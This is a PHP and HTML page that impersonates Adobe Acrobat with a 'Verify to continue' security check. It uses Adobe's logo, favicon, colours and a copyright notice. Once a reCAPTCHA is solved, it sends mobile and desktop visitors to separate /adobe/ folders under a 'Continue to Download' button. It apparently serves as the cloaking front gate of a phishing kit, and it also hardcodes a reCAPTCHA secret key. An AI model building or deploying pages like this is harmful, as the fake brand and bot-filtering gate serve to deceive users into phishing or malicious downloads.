<?php
session_start();

/* CONFIGURATION */
const RECAPTCHA_SECRET = "6LcRbNgsAAAAAI0KObryoZSAeHsryp2ASs6Fn5s2";
$SITE_KEY = "6LcRbNgsAAAAAMKsn7iBNv9yzUS58nrI_0irHc8k";

$error = "";

/* Verify reCAPTCHA */
function verify_recaptcha($token){
    $url = "https://www.google.com/recaptcha/api/siteverify";

    $data = [
        'secret'   => RECAPTCHA_SECRET,
        'response' => $token,
        'remoteip' => $_SERVER['REMOTE_ADDR'] ?? ''
    ];

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
            'timeout' => 10
        ]
    ];

    $context = stream_context_create($options);
    $result = @file_get_contents($url, false, $context);
    return $result ? json_decode($result, true) : [];
}

/* Handle form submit */
if (isset($_POST['verify'])) {
    $token = $_POST['g-recaptcha-response'] ?? '';

    if (!$token) {
        $error = "Please complete the security check.";
    } else {
        $response = verify_recaptcha($token);

        if (!empty($response['success'])) {
            session_regenerate_id(true);
            $_SESSION['verified'] = true;

            // --- DEVICE DETECTION LOGIC ---
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            $isMobile = preg_match('/(android|iphone|ipad|ipod|blackberry|opera mini|iemobile|mobile)/i', $userAgent);

            if ($isMobile) {
                // ✅ REDIRECT TO IPHONE FOLDER FOR MOBILE USERS
                header("Location: /adobe/iPhone/");
            } else {
                // ✅ REDIRECT TO MAIN INDEX FOR DESKTOP USERS
                header("Location: /adobe/");
            }
            exit();

        } else {
            $error = "Verification failed. Please try again.";
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <title>Adobe Acrobat - Security Check</title>
    <link rel="icon" type="image/x-icon" href="https://get.adobe.com/reader/favicon.ico">
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
    <style>
        :root {
            --adobe-red: #FA0F00;
            --adobe-blue: #1473E6;
            --text-dark: #2C2C2C;
            --bg-gray: #F8F8F8;
        }

        body {
            margin: 0;
            font-family: "Adobe Clean", "Source Sans Pro", Arial, sans-serif;
            background: var(--bg-gray);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background-color: #fff;
            padding: 12px 10%;
            display: flex;
            align-items: center;
            border-bottom: 1px solid #E1E1E1;
        }

        .header img { height: 32px; margin-right: 15px; }
        .header span { 
            color: var(--adobe-red); 
            font-weight: 700; 
            font-size: 18px;
            border-left: 1px solid #CCC;
            padding-left: 15px;
        }

        .wrapper {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }

        .card {
            width: 100%;
            max-width: 460px;
            background: white;
            padding: 40px;
            border-radius: 4px;
            box-shadow: 0 2px 12px rgba(0,0,0,0.08);
            box-sizing: border-box;
            text-align: center;
        }

        h1 {
            color: var(--text-dark);
            font-size: 24px;
            margin: 0 0 10px 0;
            font-weight: 800;
        }

        p { font-size: 14px; line-height: 1.5; color: #4B4B4B; margin-bottom: 25px; }

        .captcha {
            display: flex;
            justify-content: center;
            margin: 25px 0;
        }

        .btn {
            width: 100%;
            padding: 10px 24px;
            border: none;
            border-radius: 20px;
            background: var(--adobe-blue);
            color: #fff;
            font-weight: 700;
            font-size: 15px;
            cursor: pointer;
            transition: background 0.2s;
        }

        .btn:hover { background: #0D66D0; }

        .error {
            background: #FFF0F0;
            color: #D7373F;
            padding: 10px;
            border-radius: 4px;
            margin-bottom: 20px;
            font-size: 13px;
            border: 1px solid #F8D7DA;
        }

        .footer {
            text-align: center;
            padding: 20px;
            font-size: 12px;
            color: #6E6E6E;
            background: #FFF;
            border-top: 1px solid #E1E1E1;
        }

        @media (max-width:480px){
            .card { padding: 30px 20px; border: none; box-shadow: none; background: transparent; }
            .header { padding: 12px 5%; }
        }
    </style>
</head>
<body>

<div class="header">
    <img src="https://www.adobe.com/federal/assets/svgs/adobe-logo.svg" alt="Adobe Logo">
</div>

<div class="wrapper">
    <main class="card">
        <h1>Verify to continue</h1>
        <p>To help protect shared content, complete the security check before continuing.</p>

        <?php if ($error): ?>
            <div class="error"><?php echo htmlspecialchars($error); ?></div>
        <?php endif; ?>

        <form method="POST">
            <div class="captcha">
                <div class="g-recaptcha" data-sitekey="<?php echo $SITE_KEY; ?>"></div>
            </div>

            <button class="btn" type="submit" name="verify">
                Continue to Download
            </button>
        </form>
    </main>
</div>

<div class="footer">
    Copyright © <?php echo date("Y"); ?> Adobe. All rights reserved. <br>
    <div style="margin-top: 10px;">
        <a href="#" style="color: #6E6E6E; text-decoration: none;">Privacy</a> | 
        <a href="#" style="color: #6E6E6E; text-decoration: none; margin-left: 10px;">Terms of Use</a> | 
        <a href="#" style="color: #6E6E6E; text-decoration: none; margin-left: 10px;">Cookie preferences</a>
    </div>
</div>

</body>
</html>